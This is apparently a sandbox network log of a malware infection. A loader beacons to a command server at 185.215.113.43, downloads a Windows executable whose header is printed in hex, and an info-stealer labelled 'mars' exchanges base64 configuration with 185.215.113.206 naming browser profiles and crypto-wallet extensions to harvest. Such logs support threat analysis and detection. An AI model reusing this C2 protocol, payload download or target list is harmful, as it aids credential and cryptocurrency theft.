Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:28.270694971 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008452001&unit=246122658369
Nov 23, 2024 15:22:29.652746916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49823	185.215.113.16	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:29.775895119 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 15:22:31.122910023 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:30 GMT Content-Type: application/octet-stream Content-Length: 1787392 Last-Modified: Sat, 23 Nov 2024 13:21:45 GMT Connection: keep-alive ETag: "6741d6e9-1b4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 12 48 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@hH@M$a$$ $b@.rsrc$r@.idata $t@ @*$v@lfcefhqrOx@phkznexgh @.taggant0h"$@
Nov 23, 2024 15:22:31.123019934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:31.123078108 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:31.123130083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:31.123164892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ziur
Nov 23, 2024 15:22:31.123203993 CET	1236	IN	Data Raw: c1 8b 8b 99 05 ca 1b 5a 3c 78 68 fd 52 81 25 c5 78 0b 8e 45 6c e5 06 db 38 6e 93 ab f8 dd 20 55 ee 0c 12 ac f5 bc b1 9c 3a 02 a8 02 2b e1 70 1c 6d 8c 30 f7 0b d5 1b b4 e8 5a db a6 03 d1 a6 68 8f b6 98 09 0c 89 81 9c 2d 7d 48 d1 77 07 81 f7 df 32 Data Ascii: Z<xhR%xEl8n U:+pm0Zh-}Hw2n}J=M67I,v0kcm"dc"`G5ei1jW2BWO:8~~[mUAv%V}22esD=ovX19j)Z
Nov 23, 2024 15:22:31.123239040 CET	1236	IN	Data Raw: de 19 fd 3c fb be 5e 97 c1 19 28 9b 23 0d 4d aa e6 4b 5e 0b d1 b3 ab 34 fa 32 d5 6d 83 6a ab 96 db fb 15 2d 96 29 31 10 5e 80 e2 09 41 cc 04 14 8a 0c 9d ba 72 8b 5e 59 74 2e c1 34 74 f3 50 db f1 03 9e d2 38 90 b3 18 dd 03 15 75 f8 5f 06 2b 45 b1 Data Ascii: <^(#MK^42mj-)1^Ar^Yt.4tP8u_+E Ba3dBTbKss2uJV`I5xr1o6S q6^Kn0qkFJl'Fx0Qk5#a5-s
Nov 23, 2024 15:22:31.123274088 CET	1236	IN	Data Raw: 28 c6 55 b1 13 78 60 ee 62 b3 48 47 17 50 18 d1 a9 8b 3c 10 2b 46 6a 68 b4 cc 6f 88 3b 86 01 fe e1 f6 90 ec f1 e7 f3 fd cf 9c 4c d4 78 86 fd 92 08 37 02 0d ca c0 25 74 7e 6e 13 dd e9 a3 22 5d 04 6a ac a2 9f 4a 84 a2 05 8e 93 d7 10 7a f5 13 97 ca Data Ascii: (Ux`bHGP<+Fjho;Lx7%t~n"]jJz7B?=ucj~8:{mPUyFa[%5{^bHuP;"xZF]jnrLUk#:;Fs6Fs][]\|&%5[C}Ay
Nov 23, 2024 15:22:31.123308897 CET	1236	IN	Data Raw: a9 b2 4d 2c 2f b0 15 51 8c 7e 46 e1 0d ae b6 d3 c5 b6 35 a7 04 86 73 e8 39 b7 ac 16 4d 8f 1e 93 06 80 e5 fb 9d 8a c6 93 6d c0 7b d4 3d 06 6a dd cf b6 5b 9f f3 d2 17 d5 d5 ac b1 98 f1 8a 63 1d 3a 0a 7a 2d 04 ee 9d 96 cc 87 b1 79 0c b0 c1 d6 85 a3 Data Ascii: M,/Q~F5s9Mm{=j[c:z-y?}a!bA:^\|xjp3}}54z,U9um:U#-.(R=+xLaN7"~UU,j3)t
Nov 23, 2024 15:22:31.123373032 CET	1236	IN	Data Raw: 3b 02 92 f6 36 f0 7b eb 3c bc 06 a7 81 b9 7c 6b af 88 8d cb 0f 0e 15 e5 f2 0b 78 e1 80 22 fa 98 a5 8a 4d d5 f7 8f 81 22 12 f2 c5 98 49 06 55 69 dc 91 a9 91 fe 1a 81 cc 7d aa 11 cb 12 63 1d 16 10 e1 49 6b 22 17 11 12 6a 34 7b 51 0c 27 a0 e9 0d b0 Data Ascii: ;6{<\|kx"M"IUi}cIk"j4{Q'u\|{Ur{m>6J]V#[9~Csj5a;vV_h@l}PlbDr]"uE
Nov 23, 2024 15:22:31.243560076 CET	668	IN	Data Raw: 02 28 be cb e2 4a 45 9d 22 fd 57 1c 2b b2 f5 76 fd 00 28 30 12 99 d4 97 e4 35 4c 51 d9 f2 b5 33 c8 32 1a b6 a1 d3 90 62 c4 b9 92 ed 61 73 89 d4 61 40 70 95 22 e7 22 fa 6c db 92 50 ee 1e d7 12 0f d5 d8 60 2c a3 94 c6 78 cf 19 d8 7a 79 b5 1c 4c dd Data Ascii: (JE"W+v(05LQ32basa@p""lP`,xzyL+4yz)l5LD+"gUA055^+ ['"a@@39J%FxRN]1We2C3ebD/D<Z[3Be'JC411

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49846	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:36.584073067 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008453001&unit=246122658369
Nov 23, 2024 15:22:37.916001081 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49852	185.215.113.206	80	5292	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:37.944324017 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:22:39.321094990 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:22:39.323425055 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="build"mars------DHIECGCAEBFIIDHIDGIE--
Nov 23, 2024 15:22:39.781681061 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 59 7a 5a 57 55 79 4f 54 42 6c 4d 6a 41 31 4d 32 4d 31 4e 6a 6b 7a 4e 6a 45 34 4d 54 45 79 5a 44 59 34 4d 44 52 68 59 54 49 31 4d 44 67 30 5a 6d 51 31 4e 54 59 77 4d 44 6b 78 4e 44 49 30 4d 44 52 68 5a 54 41 33 4d 6d 45 34 59 54 52 6c 4e 57 4a 68 4d 44 55 78 4f 57 56 6a 4e 54 49 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmYzZWUyOTBlMjA1M2M1NjkzNjE4MTEyZDY4MDRhYTI1MDg0ZmQ1NTYwMDkxNDI0MDRhZTA3MmE4YTRlNWJhMDUxOWVjNTIxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 15:22:39.782867908 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"browsers------KJKFBAFIDAEBFHJKJEBF--
Nov 23, 2024 15:22:40.244384050 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 15:22:40.244436979 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 23, 2024 15:22:40.445599079 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 23, 2024 15:22:40.447197914 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"plugins------EHJDHJKFIECAAKFIJJKJ--
Nov 23, 2024 15:22:40.896785021 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 15:22:40.896819115 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 15:22:40.896855116 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 15:22:40.896898031 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
